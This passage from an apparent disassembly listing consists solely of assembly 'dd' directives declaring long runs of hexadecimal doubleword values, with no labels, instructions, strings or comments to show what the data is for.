7A7544D2h, 40725E97h, 9A7CF754h, 0D6141EDCh, 118AEFFh dd 960FDE17h, 142CA481h, 3A8C50ECh, 8E008DA9h, 13042EB9h dd 8A1746CCh, 0B408DC47h, 0F5198D39h, 90E08879h, 3517E3h dd 0D866C958h, 0F506AE7Fh, 0A2019E7Bh, 0F4AC0990h, 0E40E42CCh dd 0D0903051h, 4EAE7B55h, 88479h, 0FBEB46C0h, 9C0F9617h dd 964AAA87h, 45A74C8h, 10C1E27Bh, 31DCB005h, 8A4CCB09h dd 0A37C1076h, 0C0154BA7h, 4338AE70h, 975C300h, 4BE32842h dd 0F20EEEFEh, 0F874B2CAh, 705460C3h, 2119E89Fh, 0C4B3A888h dd 1E6E1E28h, 0E5B4D504h, 9934CBCh, 0CA9892Bh, 2C707809h dd 1F533220h, 148A9818h, 0F50C2828h, 6C40DE20h, 8268C34Ch dd 6995F1AEh, 4306408h, 48A14CCCh, 2083FCCFh, 68003349h dd 78BF9C0Eh, 0B7C11268h, 0A9FF1490h, 3ACC1197h, 612E7871h dd 98DA730h, 38ACEC68h, 2886488Ch, 331C560Eh, 0AAFF4F42h dd 0B64C85Ch, 208360C2h, 7A824D86h, 70E9C58Bh, 47E082B8h dd 5025E802h, 0EA899E79h, 1750A29Ch, 96E460FBh, 0F81D9D5Eh dd 0C1803691h, 65B41ABFh, 3001D24Eh, 0FE84F178h, 0C2251806h dd 3044E45Ch, 0AE412A19h, 8600669Ch, 78C9F9D5h, 28384101h dd 4CC83639h, 0B83F0B0Ch, 453DF8D0h, 0BC9078F0h, 3008CE9h dd 20B02ADDh, 5DF9C3Ah, 6350A768h, 45288157h, 0A88105A3h dd 0B443F232h, 81A19820h, 8D74C85h, 5A8C5CE8h, 23982F4Bh dd 0ABF90055h, 0C96F88D9h, 2D361D01h, 266D0C43h, 894B0C68h dd 0C4C10750h, 0B61CF009h, 47F03155h, 0C79B928h, 460888A6h dd 0C373006Ah, 4B3B7B47h, 1D08446Fh, 27A8211Bh, 94171019h dd 1A899391h, 0CDAAB600h, 0E895D1DCh, 8858C620h, 785F0147h dd 0E7885C8Fh, 0F25933C0h, 0A808919Ah, 0B04944A4h, 0FA05B898h dd 6DEC08C5h, 0B8348C10h, 89008CECh, 7293C460h, 0E7E3BA46h dd 80AEF874h, 97B764B7h, 80EA91C4h, 0F8D6A007h, 1B020520h dd 0D0C918C1h, 4D9E7360h, 6422A84Eh, 74486A46h, 2F00DC68h dd 0F80414B9h, 14ECDD2Dh, 0C81790EDh, 20652610h, 27BD2122h dd 47944D2Fh, 0B1BFC0EDh, 2660728Ah, 8DA09C81h, 0CC174BEAh dd 2C1BF368h, 0D76165CEh, 909B43B4h, 509102C0h, 9004DF3h dd 72B01984h, 95FA7CE3h, 51914497h, 577EAC80h, 70086A7h dd 0EA1448E5h, 4C2CC989h, 8C89C8C1h, 168A004h, 0F464C842h dd 69F09836h, 3A00282Fh, 0C62D06B1h, 5925B679h, 924BE08Eh dd 0E320F42Ch, 570FC71h, 61A67BA5h, 2118B583h, 6FAC0731h dd 0E89B3D85h, 8C53EC3Ch, 4C74151Dh, 28D811C0h, 2E1AB3A5h dd 421C718Ah, 0BC7EC42Ch, 1ED0A047h, 247C91E5h, 741C1517h dd 0DF02E546h, 0ACFDAA5Ch, 1D589257h, 803F11A8h, 0AB5F1E4Eh dd 0A8910B25h, 0A480C86Fh, 20BE5E5Ah, 923C9600h, 7C4046Ch dd 0BC4A7CA4h, 52467450h, 34E17500h, 0DB2FD7EDh, 690B717Dh dd 84285AA2h, 0F8B8F1F0h, 81C8DB5Fh, 0A80A2606h, 2256660h dd 0F4B472C9h, 205ED2BAh, 0E478C569h, 0C7CE6054h, 6F2E03E5h dd 0BF978E7h, 0CA2F0EB0h, 0C484F45Ah, 0DD002C6Bh, 594466BAh dd 0E2259D17h, 0F86480h, 1BFB0C60h, 0ABFFDAC7h, 12E97B00h dd 949218F4h, 0B9C43FF3h, 0CDE3492h, 28E1ED6Ch, 5E650C13h dd 0A208B0h, 0BB306BFh, 2337E448h, 0E0A1B894h, 451854D1h dd 0DBCF0700h, 0C67F4437h, 30C316B4h, 902CC159h, 314DE145h dd 284E5F4h, 0EB505E29h, 3464F845h, 0DC206B60h, 0BEFB5309h dd 0C1F42481h, 0EAE8F4BCh, 5A03008Ch, 13E95654h, 3A2C2E6Dh dd 1238E8DEh, 401725D9h, 6DE1E8A6h, 54203E1Eh, 0B56671h dd 5F64CE0Eh, 9016E15Bh, 0C29DA00h, 187B27B6h, 6601EF19h dd 50D5F9A8h, 0B59175A0h, 55D14499h, 8E1F819h, 171C3774h dd 92C2B41Dh, 44960F70h, 28200410h, 0F02A0CCDh, 0B100C934h dd 0B57671D4h, 9ECF2C92h, 4BF96044h, 49F7518h, 0A48D7DD0h dd 73288040h, 163E701Bh, 5E34399h, 8EA14CA8h, 0C0E688ECh dd 61128017h, 0C0FD102Fh, 20A6D90Ch, 1093A9CDh, 0A020C127h dd 7F8A2900h, 840838E9h, 4205EA70h, 49D48975h, 48306A38h dd 4BB26D0Eh, 22988E40h, 0CBFB0565h, 0CF486219h, 0C03B8824h dd 6111F39Dh, 10D8554Ch, 0D509F150h, 9E042FC0h, 0B278B8B4h dd 152516C9h, 5668C218h, 89220588h, 9403B06Dh, 2C23F213h dd 717B0E09h, 73EB8C78h, 21D00B29h, 607B1818h, 0EB817849h dd 0C41CD829h, 0E3A8FFA3h, 0A82917F4h, 207C6196h, 0D23FC147h dd 0E5D92859h, 79019E18h, 964AC343h, 2C2EBFA8h, 4B40BD44h dd 20FD2722h, 50516489h, 7CC32C89h, 429419Ch, 600FF11Fh dd 70BC8191h, 5F4676h, 5A3AFA79h, 0BF9CD5AAh, 450ED081h dd 0CD78A782h, 0A89AE124h, 0C4086B97h, 4EE40663h, 0E8B6E084h dd 48984674h, 61AE0008h, 0D09BC5CFh, 662E1749h, 0AD401F73h dd 0A4180C04h, 2D07552Ch, 137A5B5Ah, 67EC5419h, 9F6350C9h dd 1A97D01Fh, 0A5BC84D0h, 6E6FBCF1h, 839A03CCh, 0E07F87A2h dd 1A7D3A49h, 60E9967Bh, 53D11479h, 9D021318h, 360DCE21h dd 0C5C0406Dh, 0D7D75BBCh, 0A4C289E4h, 0E43757h, 0DD98C501h dd 0FF01F8E4h, 83A2964Dh, 742B2E91h, 0A874EDFCh, 39D0090Eh dd 40825A59h, 590B6A36h, 0B04BE70h, 0F44CF5AAh, 275A32F4h dd 187088h, 0C2D4E40Fh, 8A57DC55h, 0D4D1774Eh, 0AFF92874h dd 0B9F0182Bh, 0A82DC189h, 804E8F5h, 0F23C2475h, 18683164h dd 0CCA804FEh, 5C97A2C0h, 2E617B70h, 80C92CE8h, 8CD53A10h dd 0EEAE2525h, 564494E4h, 0BB005446h, 0F47308E5h, 7770FE92h dd 7918C30Bh, 8080F335h, 314042C9h, 0F90C84E3h, 18A569AEh dd 148E9518h, 2A8CE1C3h, 224FE3C8h, 9214454Dh, 0D785349Bh dd 0C610C15Fh, 0D9842093h, 1B793640h, 999145B6h, 642C4809h dd 44A459FDh, 0E8B25263h, 73C078F7h, 138AEEACh, 0B44AA0FFh dd 660B5BE0h, 0D8D594A9h, 0A3E4A0C4h, 0E08A43h, 0C3825CE2h dd 5691EA28h, 71E36068h, 0F44B0BC0h, 1F80ECC2h, 3D845C11h dd 0C5B4AD2Eh, 0CA8738Ah dd 7C595AC9h, 69087CACh, 0BED30311h, 184A8C31h, 0EE22748Ah dd 0A64D0E09h, 0CD942243h, 74C02A58h, 59009346h, 0A7A2D3E1h dd 492514F8h, 0CD64624Ch, 0BD66E0B8h, 5C017616h, 0D4503F1h dd 432A6C83h, 41405BA8h, 0F51AA7C8h, 86E98F01h, 0BAB19399h dd 0D86182DFh, 0B8A1D29Ch, 8CE7E824h, 5D46309h, 66288258h dd 3BFC5257h, 1B017D3Fh, 0B7D7D46Ch, 0E874EE7Ah, 0C42CAF02h dd 3AB09883h, 2B89895Ch, 0E79D0830h, 509800FAh, 0D25443D6h dd 0B4055653h, 2D3041A2h, 59AFE449h, 1808A894h, 618BA1B3h dd 25F21DD1h, 8688BE00h, 0B6B90C02h, 0C9E40042h, 607FC373h dd 0C0E0D5A8h, 467E649Ch, 678B003Ah, 4433CB21h, 0A87E51C3h dd 0A67D6080h, 25FBDE3Bh, 0CA110D2h, 9CA2B833h, 9246D30h dd 0A3E106DBh, 99ED6002h, 0F4024464h, 15384B07h, 5B98C43Ch dd 379897A1h, 90169097h, 0BD032DD8h, 0D9459E0Bh, 0A6284FCDh dd 0E0EFE340h, 2F6649Dh, 36B09498h, 54560847h, 82FF7A89h dd 927315Ch, 0C382B8F9h, 912B938h, 0ECAE3451h, 0F399DC09h dd 0D4CD7098h, 692A3400h, 0F5A01190h, 90D15E08h, 857FA6B4h dd 43E2E80h, 8722DF44h, 791CB0A0h, 0ACB5A64Bh, 2EAC752Fh dd 1FE9238Ch, 82F24019h, 0BECAE64Eh, 20F41C95h, 0D486DE35h dd 0DFD1C226h, 0FE42003Dh, 5671F6E9h, 8D194AAEh, 0B8707DE0h dd 0E9220B96h, 7405AA7Fh, 60C04555h, 0E5880273h, 60C0D8CCh dd 3095140Dh, 3038C1D8h, 943004A9h, 64A26DAAh, 465E505Eh dd 2533009Ch, 3DF3F5C5h, 0B9A60B0Fh, 0E41DF7B7h, 74805291h dd 95DD3007h, 90AEBF2Ch, 0C138F911h, 0E40B7D15h, 6CEDDC27h dd 0EB7328C0h, 69BF08B9h, 7280E46Ch, 0AC135CC6h, 0F0607ADEh dd 44F50145h, 2E0BFA77h, 6C22702Dh, 2260A65Ch, 3844959Ch dd 125CA100h, 0ABC202E1h, 0CD3E0068h, 5664FD1Ch, 520F4D33h dd 0D6DA817Fh, 2813B416h, 0A20160E9h, 4794248Bh, 0CCD82A04h dd 18C18864h, 9C0F8D4Eh, 0F5AE0140h, 28705214h, 74DC1667h dd 5CEC0CE4h, 9760A131h, 77024CA1h, 0CF540024h, 0E02C2F86h dd 0DC023F68h, 3C85DB11h, 0C48B55D4h, 6C000851h, 0DA02C9FBh dd 3EBA099Ch, 0D056DB8Bh, 0CF2C9040h, 0E561C087h, 44C34291h dd 25BE7B17h, 0D47B045h, 15C4D0F8h, 0E020ABAEh, 4EC0FD12h dd 711CE2F1h, 31190818h, 9DEBDBE0h, 0FA34F490h, 0DD334603h dd 0E93B6D29h, 49E8EAEDh, 473807FDh, 41F27B14h, 2BCA0B32h dd 93D31837h, 41EA84C3h, 0B9AED9BCh, 45107488h, 0F20C71E9h dd 9896D220h, 0AFD30902h, 2CF688A0h, 409870C9h, 0F30CCB0Ch dd 0E1D20647h, 9C315418h, 0B08F01FDh, 0CBC89093h, 9270E004h dd 38AAB31Eh, 0DE749419h, 393003Ch, 3D437DA0h, 2E3508A0h dd 0CCA860D2h, 30AC0E88h, 0AE125902h, 5EB0C15Ch, 0EDA001F2h dd 0E8017B40h, 25AE797Bh, 0C144822Ah, 0A8389875h, 0A238C4B2h dd 59CA0C40h, 30C50123h, 8342F5F9h, 8CE042FBh, 179FDC44h dd 9CEA9140h, 0BD6D7340h, 0E2F7364Bh, 0D83312D4h, 4A6CB768h dd 3AB288E2h, 1E02E30h, 53DA8BBFh, 24F8CFF1h, 0B7004540h dd 65B57C9h, 9591FBF3h, 90F86C8Ch, 0D4C20E9h, 85F001F5h dd 23783E3Eh, 85210093h, 40DDAAE5h, 0E491EE4Ah, 8015C06h dd 0BC24289Ah, 407B8C91h, 0C0CE6D27h, 4A7B8ED4h, 5500C247h dd 4966CDEh, 37C8188Bh, 3C81DFC4h, 62FDC55h, 21ABFDB8h dd 465E3C9Ch, 38D40534h, 0AC1F3E8Ch, 0C30BA3D0h, 78628910h dd 1DC2454h, 0E4BDA9AFh, 2BBE6D0Eh, 98A864C4h, 183080D6h dd 50F8320Eh, 8318637h, 10E1928Eh, 0F3DD1981h, 3D97E99Eh dd 0C01AE8D8h, 0FF2CBBC6h, 9E12737Bh, 0C4C895ADh, 0B8C79582h dd 0E06034C4h, 103BDECCh, 81EF094Fh, 5594C2E2h, 0E701183Dh dd 6339CE7Ah, 0BC262161h, 4A9FA110h, 6F18C08Ch, 0D360712Ch dd 5A492B19h, 7BEDA800h, 1FADA393h, 96A70E16h, 0AF624D9Ch dd 0B775A9DCh, 0F94507CCh, 0A082A981h, 0C464076Dh, 9595F522h dd 7C2DB04Eh, 0D95859F3h, 0B78B1893h, 905DBB42h, 7731E0h dd 3808D871h, 331E0337h, 615D8100h, 2DC6E421h, 18F104A3h dd 0FE526D0Ch, 2978B404h, 37A1CCACh, 486C0920h, 8CECACh dd 258CF62h, 87A4770Ah, 14A01648h, 0A484807Dh, 0DF21CCA8h dd 46826D06h, 41430F88h, 44931918h, 0E691AFECh, 8572E05Ch dd 6160BC0Ch, 11E265ACh, 0C89EA9A3h, 2A5E40D0h, 0FF4C4212h dd 9F91A72Fh, 805E11F8h, 0A6EF2A4Dh, 3CF52CAAh, 79DA8F5Ch dd 1796F124h, 90019C8Dh, 6E07A3F9h, 183D8506h, 0E744C087h dd 0A7755C60h, 0A07D9216h, 795FBC00h, 30D66C27h, 5D07C09h dd 6B00264Bh, 81C9D9FFh, 5A5DB2D4h, 1FC6F8Ah, 744CCF37h dd 883A578Bh, 68001440h, 0D2197C95h, 3983453Ah, 18084A63h dd 0AB0224DDh, 706CD5A8h, 209C9880h, 0AA275522h, 98CABCDh dd 7FE800BCh, 0BE499019h, 0D8D9148h, 91A0FFD2h, 2F0E13E0h dd 381F8675h, 0FE803B11h, 3FC801F2h, 3F34509h, 60645664h dd 0CD2CA3D7h, 74708545h, 0B1ADF5FDh, 0DF70345Bh, 0DD4F248Ah dd 2FD1080Ch, 70474B00h, 4AAAE433h, 50F0A34Eh, 0F441202Ch dd 0A8488C7Ch, 8C51E8h, 25A67610h, 4FE3FFF6h, 4840873Ah dd 0B3CE0088h, 3A2E75A0h, 173D2D96h, 3E00188Fh, 30B7F8A1h dd 671CC295h, 60E66484h, 0F589832h, 40493120h, 5098E153h dd 3E026848h, 0BCA0F75Dh, 771B00C6h, 6B1CDC47h, 28964118h dd 8018DC3Ah, 568EC0D8h, 547850h, 3B33EFEh, 0EB532E7h dd 0EC1CBA01h, 41CAD19Dh, 0B4D62300h, 2E0FCB00h, 441ED5B2h dd 0EC1895DAh, 0E4E3A47h, 883FC4A1h, 6FFCC4E4h, 9CC02200h dd 0F67CA7E5h, 138700CFh, 73AFE474h, 2E7C0E1Fh, 7D0CD80Bh dd 0BDC51E6h, 0D847ED84h, 95609864h, 3900FC31h, 8C0E8414h dd 60197677h, 1BB19933h, 0A00EF8D9h, 40200728h, 0DF2356D0h dd 0B99204C6h, 82DEB074h, 60F1C5BCh, 9CFEE14h, 0DAA637E4h dd 0B638A418h, 0C400DC64h, 0FDAC8CA1h, 4B39CD8h, 4D104148h dd 6CCA1727h, 52C16737h, 107F0847h, 26E6F854h, 8B004522h dd 64E1524Dh, 3D5FDECAh, 555F80A8h, 500A8E54h, 430C290Eh dd 60410979h, 0F7391E0h, 23E18978h, 0E2F194C0h, 0C00395A0h dd 0F0875967h, 0A886A16Fh, 10352Bh, 944C13ACh, 459547F0h dd 0C6C2BEF4h, 6829D553h, 0D1821ADh, 2A49D8DDh, 7CA80484h dd 45C323C0h, 0AFE7A3FFh, 0AA8810D9h, 37B02DDh, 0D22A0FBAh dd 5D515456h, 0C7BE4F10h, 9495AEE8h, 86D320F8h, 4472FBh dd 8DF4D4D8h, 19B79Eh, 889D5CC1h, 0B182811Fh, 6C07BC02h dd 0E25DC313h, 9D80DAB8h, 88E2DCCDh, 0E2A4078h, 61E65CC8h dd 1EA8892Ch, 8822AD1Dh, 960327CDh, 54338298h, 5E46D6A4h dd 84D0B10Bh, 38408C56h, 834D7Ah, 0CAEA135Dh, 748B8142h dd 64F4D612h, 7BC27CA8h, 8070C138h, 7CAAA009h, 790471A1h dd 902918E4h, 0BF250B7Ch, 0DCF35394h, 465C1CACh, 182F1CE4h dd 80B3D1B3h, 0A4C8EBh, 840FB8DEh, 20FD7883h, 8FB0F527h dd 70A8B268h, 5D6E82DCh, 0F8566BFCh, 56B6A962h, 3446D62Ch dd 3058B504h, 0C008EBE0h, 3C106AEh, 7012C134h, 4A984C8h dd 0A82CE9D6h, 0CB2C247Fh, 48C44B64h, 76115900h, 6DEF1A29h dd 643E0021h, 39BD07BFh, 0F40547CBh, 0E4DCF5A8h, 3A0C891h dd 5FA22C23h, 7177D30h, 0F7457659h, 205499D8h, 0D45854EBh dd 79B03D00h, 57730C01h dd 0D3CE79AAh, 5E380B21h, 1DA5B874h, 819E1144h, 0BE4EC1E2h dd 55FD5F8h, 6D0E2852h, 1FD0E8E6h, 586DC52Ah, 0CCE44AB8h dd 7E4AC37Ch, 4C2354CDh, 4F090778h, 0CF79F44Ch, 7390D5E0h dd 0AF0174C3h, 3710BF98h, 48752914h, 59A97FF1h, 1852F9E8h dd 0AFD6020Ch, 6B6E6950h, 44091460h, 9061A0C4h, 0ACD8FB04h dd 2006A254h, 0A0E18B5h, 0BC182CE9h, 7B1E8C50h, 4F12CF4Ah dd 0EAACC0A9h, 8029008Ch, 7B395F68h, 9F0BF3E8h, 81675A28h dd 82A3C8ECh, 3F60742Bh, 0DA290058h, 28DB2F79h, 1A75120Ch dd 9C34B45Dh, 0D7F8E752h, 553C4C82h, 0E491F81Dh, 0AA90A480h dd 0D65E80F5h, 0A806C8A7h, 79D558FDh, 9A55D480h, 1B024A81h dd 9128972Bh, 0E76E8036h, 6B0918C3h, 4F9C008h, 658CC19Eh dd 9C361828h, 67F68B64h, 0CE0C4F9h, 0BA663A45h, 71461750h dd 0C0F09B0Fh, 0C4E54DF7h, 0E261235h, 0C878CB31h, 5B07C038h dd 3C00B369h, 7DB457F2h, 0B782CDA6h, 842BD8A0h, 4B04D510h dd 0DDAE130Ah, 96053CA8h, 586F59Ch, 0A3EFB4E8h, 303EA2B4h dd 8300800Eh, 30AC056Ch, 4735F0Ch, 2C293247h, 2C48C9CEh dd 3A267C60h, 97B88C08h, 0B4A44E28h, 0F6F54A45h, 0BE3BE000h dd 5D3A0C2Eh, 0DD50D81Ch, 0FF151809h, 470068AAh, 0C8F35E03h dd 0F0C293FCh, 9883CA2Ch, 9F6E22ECh, 7309D446h, 0F8F538C1h dd 0A3AF5A58h, 34F24A54h, 7B12F600h, 0C7D162BDh, 1363BA00h dd 0A8FD3989h, 0F94609F2h, 0B84335BEh, 6C7D08E8h, 37BFB0B2h dd 999011Ch, 2BC0EA79h, 9323583Bh, 0A1585F0Fh, 0A75DF72Ch dd 0F8E9D5C1h, 0C040DE02h, 4980A4C5h, 0A7752D8Ah, 0BE9C24BDh dd 71DAC447h, 3F84AE30h, 8722057Ah, 8B6A896h, 19802980h dd 0A72B4347h, 9B380028h, 4FE31F7Dh, 0DA4F10F1h, 98AD8413h dd 0B012CBB8h, 4C0909C7h, 0EE5CE128h, 0EE97DA08h, 0AE0A006Ch dd 8A24C9BCh, 0FAC01EA8h, 3CB4F738h, 12CA12A5h, 0C4ACB28Bh dd 0B212EF61h, 315CF26Ch, 1BD8202Ah, 0C403E02h, 55488265h dd 618DC8A1h, 48E2A29h, 32C09F88h, 0E35FBB52h, 5A909DD4h dd 13F8B082h, 58A02E2Eh, 0B335123Dh, 20E784B6h, 0D6F1101Eh dd 46EF7F25h, 62C90248h, 0BB4C4B7Dh, 4C25DC74h, 0B04495F0h dd 2E00427Dh, 8C1BF3C6h, 456BF6Ah, 0A2CC242Fh, 0A5D4C131h dd 4292E3Eh, 17F7020h, 0DC9E5B98h, 65C274CDh, 0F518D630h dd 0EF01E3FCh, 0A264230Fh, 0E061313Fh, 0FE06A0F6h, 67F983CBh dd 81EC7A58h, 1C56D83Ah, 2F9CC758h, 48C588Dh, 187DF4F3h dd 8898AD03h, 481E966Fh, 7C0146C0h, 301885F8h, 5D3D7980h dd 0D42719EDh, 9EA55700h, 0A0E823C6h, 412F0EB8h, 7B42A6FBh dd 0A854CDBEh, 80631700h, 5C2BFA2h, 61337E30h, 0BBC8781h dd 63C47054h, 0FF222A22h, 47B876A1h, 41A06A7Ch, 39024772h dd 0B6D909D8h, 16605CD1h, 0A85C1613h, 2C020C4h, 63271844h dd 84D8F138h, 0E4088ABFh, 0AE3E2507h, 0BCD50AD0h, 0E30C0F0h dd 6CB3A821h, 43E0A197h, 0B9C0C37Eh, 0BED98029h, 64A86125h dd 8434888h, 61061518h, 5E1A90A2h, 0D420426Eh, 0F8A00888h dd 0F020BE0Ch, 0C43E8890h, 0ECCD3D13h, 0CAE13719h, 0A0095822h dd 0A700C1F1h, 69AE7B3Ah, 0E6F79725h, 0C33D0194h, 1E71D652h dd 0F917CCC1h, 0AD4AB47Dh, 589888C5h, 594060CBh, 0C1F9122Fh dd 55E3720Eh, 0B710AF0Bh, 0A0AFA841h, 16AA4EDh, 0B6F97BB8h dd 2879B429h, 0CC718420h, 2EDCE288h, 1068415Eh, 60193A23h dd 0CAFDAE71h, 0B3295B10h, 3038E2ACh, 0BE0E5190h, 69FF49D0h dd 0A830089Eh, 0D3189030h, 17350143h, 0FDB60FDAh, 0E347493h dd 0B09A0A04h, 0ECE9F082h, 115620BDh, 3848F00h, 0A0689129h dd 0EABCA88Ch, 0C7813A1Dh, 55569E04h, 1660C0D5h, 0A095AB39h dd 83B9CA4h, 5E14940Ch, 0A8003F46h, 0DDF3B047h, 822C0C9Ah dd 74650884h, 34C63591h, 2FF0BF0h, 0AAF7F6F1h, 8C543D92h dd 63E00E49h, 7C3FB6F8h, 97CB0B9h, 18E5ED7Ch, 55DA1454h dd 7800B8B5h, 0A26D8696h, 0F46F9F5Bh, 0AA801744h, 5A2E775Eh dd 613470C0h, 5504B557h, 9D3AEA36h, 6A5AD4E7h, 7A4101F0h dd 967B93C3h, 0FE440D2h, 0DE98964Fh, 0E7434201h, 901EA2DBh dd 75BFC885h, 5C2EAA24h, 6C034C8h, 90416E83h, 965DE238h dd 0E9465E88h, 0B739501h, 6A61FE74h, 4D8FEF0h, 1538CB29h dd 8E34AC33h, 75B90D2h, 6D01A6ECh, 28C17B49h, 7900F40Ch dd 5427AE7Dh, 0D90059CBh, 481852h, 0AC14DE35h, 0C20FE9B9h dd 2B09472Fh, 40B05EFCh, 0C9A64A50h, 72DED200h, 0BAED4FBh dd 0E31904A9h, 0AC97F2EFh, 0F42BA198h, 0A158A804h, 6B09274Ch dd 0E923B42Bh, 0B87E103h, 0CAD29908h, 707C946Dh, 537E0Ch dd 13B6A067h, 0C7CB5259h, 0F1031F85h, 0FBA9FF81h, 0EFF74100h dd 0E56C80CCh, 45BE13F1h, 9744089h, 0D8F52029h, 0B4028C9Eh dd 5659DE7Dh, 0B8DC4B48h, 0B9CCFD60h, 0BAA0076h, 0C29858EDh dd 780A72A9h, 80EAFADAh, 24222708h, 0A36509B4h, 9CAC305Bh dd 75B60E39h, 0DF683A56h, 1E0498B7h, 20FB0B01h, 265BAEFCh dd 1A11AD00h, 0BEF9D69Fh, 0EC8659EDh, 0C2D8815Fh, 703F7B78h dd 51AE423h, 20B77D38h, 5B1B7700h, 2ED1C7ADh, 8B83A9Ch dd 6D0CE4C0h, 240F69F4h, 11505720h, 6BD5002Eh, 28EED908h dd 3BCD74E9h, 0C309E6E4h, 90400E18h, 0A84CFE32h, 0CBA70C98h dd 5E4A7959h, 762CB073h, 0EE1EF700h, 188A5748h, 30C31CD7h dd 7CAB4BDEh, 9854484Ah, 26ED8D40h, 9C0E0097h, 2C3BBD9Dh dd 8967A014h, 6AA04E21h, 0D0B8F9h, 876B4B76h, 2F0E85A1h dd 0DD177C17h, 0BBB8A4EDh, 0AB633F00h, 0B18C1847h, 78E95C6Ah dd 0E6978322h, 0E94CBE2Ch, 9D59A0F1h, 0C60C1918h, 58247413h dd 91D4BEB6h, 37860046h, 0A7B243FBh, 0C4790167h, 19BAE17h dd 3EA6DDF3h, 5CC8808Fh, 38C3F8C0h, 6868B771h, 519549BCh dd 1834D944h, 4C72799Dh, 0B3C76C50h, 89E00E6Fh, 2DF23163h dd 1BCF4700h, 698F7560h, 0F5F304B4h, 0B80F4EAAh, 0C0F1D254h dd 0A834357Fh, 2CDD4A28h, 82009A7Eh, 0E3CDA1DBh, 0D8639B8Eh dd 0F77A106Ch, 9634302Eh, 662087A2h, 5E34B601h, 59389046h dd 2513A15Ch, 2A402982h, 0E8C8D48Bh, 94018DC0h, 6CCD4C5Fh dd 4FA03110h, 13CE8C2h, 6F4C6579h, 0B1C088C7h, 12569CD4h dd 0E263D703h, 7CA65E50h, 0F5AC04F0h, 526A9402h, 0F60519AAh dd 5A5C000Ch, 0F83CAD4Bh, 46F74102h, 550B6C0Dh, 3F52F481h dd 0B755F2E7h, 37FF006Ch, 0F8AA73BAh, 0A892EC0Ah, 0BE128728h dd 58458CF0h, 421C36F3h, 142C2FC5h, 3201BF98h, 46C94506h dd 54306FE1h, 80BC9A2Eh, 83A809A0h, 9F82D990h, 0B8352FFFh dd 3488C48Eh, 4155FDC2h, 0BC689114h, 8C38BCh, 0F77F2E40h dd 0D9935D03h, 0DD97C8C2h, 0FC9E7FCCh, 42DC6D9Dh, 4455C4ABh dd 0A360006Ch, 75AF4B7Fh, 68009EA8h, 1E43EBCDh, 25450CF2h dd 6C5144FEh, 0D4521CC5h, 3EB81CBDh, 9A223000h, 631CC605h dd 6CDA1289h, 503855B5h, 0CF0088BCh, 0E20F3722h, 3DFE592Eh dd 0F69EE471h, 0B51804EFh, 0C14CC2FCh, 42781655h, 73C6C404h dd 236804AAh, 0B268B82Ch, 9E771647h, 21D829CDh, 0BA81801h dd 786249A5h, 80696856h, 87A3302Ch, 34379FECh, 4C5227h dd 628E3F44h, 0B794FF18h, 4DD00C5Ch, 28F24F2Ch, 0D36B2C88h dd 283050DCh, 10788A2Dh, 40DCDD0Ch, 4B00E3F9h, 71E42D6Ch dd 97DDFE0h, 38CB2E2Bh dd 64E1D412h, 6EFA14A6h, 0EAB20350h, 0E9FFC013h, 4B18DB7Bh dd 0DE1A7904h, 7CB8D6ADh, 0F230B2D2h, 739033E7h, 9A95FF7Eh dd 0E9BCFEE8h, 9C591851h, 4D012818h, 0F620BE1h, 9C72CAA1h dd 0B715E407h, 55C4C0BAh, 1E0FA82Ah, 0AFDAA2F6h, 0A094AEC1h dd 6C1A73A0h, 0DFA9C0F8h, 0C7E12D6Eh, 6216017h, 790938BDh dd 18B76C17h, 5CBEA2A0h, 914D66Bh, 9882C5B2h, 1095276h dd 0F55F5EB4h, 79C8CC3Fh, 8639BE16h, 5C898027h, 0DECC2CC8h dd 0AB00BF7Fh, 0AA30565Fh, 0B0EAB38Fh, 22552500h, 67B5A850h dd 609CC43Ch, 0A0902994h, 2770B1F4h, 0A4FB3BD0h, 0CB183859h dd 8A7F2300h, 0FCF7B48Dh, 319E25D9h, 9456C4E2h, 0DC1C5E25h dd 47068704h, 16AA293Ah, 153404D0h, 840213A2h, 5F4299EFh dd 779DB8B7h, 0EE2AAA40h, 4227FA5h, 0C1CD4788h, 3E94E503h dd 0F900C46Eh, 0EFACBFFh, 6752EE6Dh, 0B0CD5FACh, 72D09D3Bh dd 3191B2A8h, 0F2783071h, 10AA5240h, 0F914FDh, 7DA04B13h dd 0B773B7FFh, 0F51D40C4h, 7200D817h, 0D2B05835h, 13B2165Bh dd 446C081Dh, 92F56580h, 0CCA02Fh, 8AEA4E36h, 0DA17C4CEh dd 0F3B5AF01h, 0F940B34h, 0E470883Eh, 7C02F7F4h, 3BD722AFh dd 24B17F36h, 0A0CC3F2Ah, 2558B0E3h, 0ACC5ECCEh, 0DFF44A27h dd 3ACCB7h, 2521121Ch, 25384303h, 18022231h, 94FC3596h dd 19E51804h, 20178E9h, 8DD60FB3h, 9E64F0EDh, 0F1277F09h dd 102C4242h, 0B77D8C64h, 1A7F184Ah, 44375784h, 9A682F00h dd 2295817h, 13513E44h, 0C490CAA0h, 8006411h, 3A1F1EEh dd 5FEF4Bh, 0D31727DBh, 76F0EC71h, 4A20A43Ch, 9A4ADCB7h dd 390B8084h, 9543E2Eh, 2D384113h, 445460A9h, 0DC5CFC69h dd 17ACA300h, 0D5DE8336h, 20A873C9h, 608FB98h, 2573E4Dh dd 76014721h, 0E9E4BC47h, 0DE2A8C60h, 4EDC8E3Ch, 825EA4A3h dd 0A8004628h, 0E8A3D490h, 95689091h, 9FF59042h, 809D1194h dd 5831ACE1h, 0F3434BECh, 3052B26Ch, 30045BAh, 4DF99931h dd 12FDC871h, 0AC7FCF35h, 80B57Ch, 290231A1h, 715CB7DCh dd 25B71890h, 74D21992h, 23E8465Ah, 38C16605h, 2750B955h dd 319C04E2h, 7C10E312h, 0E25D1825h, 40307E80h, 0D1A07B2Fh dd 0ACD37A00h, 221FC03h, 0A370101h, 0FF732510h, 0C8162BF8h dd 0AF0BB4ACh, 40F29A91h, 499E9C99h, 3C3E6D0Ah, 0FBFF1001h dd 13F26B25h, 0ED1AAFF1h, 807330CBh, 70A8FB95h, 0C601FD3Bh dd 0BEF1829Dh, 0D80087F5h, 2BBF758Ah, 0F210447Ch, 59F30004h dd 82BDB6FCh, 3207E58Bh, 4FD56694h, 0B03E8AD0h, 0B3224BB3h dd 30ECA2F4h, 74077D3Ch, 0D9BEEBAEh, 0B24B39C0h, 13B84865h dd 3225F73Eh, 306234E2h, 0BAFF78E2h, 0C4484584h, 0B54B609Eh dd 856A38A1h, 247997h, 0BD271780h, 0A207584h, 0C5AE1356h dd 0AF8852CAh, 8A02EC6Eh, 0B11E3002h, 1521F861h, 0A4FCCC16h dd 35DAFD82h, 0D597BF60h, 0B7A36F00h, 962FEA2Eh, 20E89075h dd 7C7D65D2h, 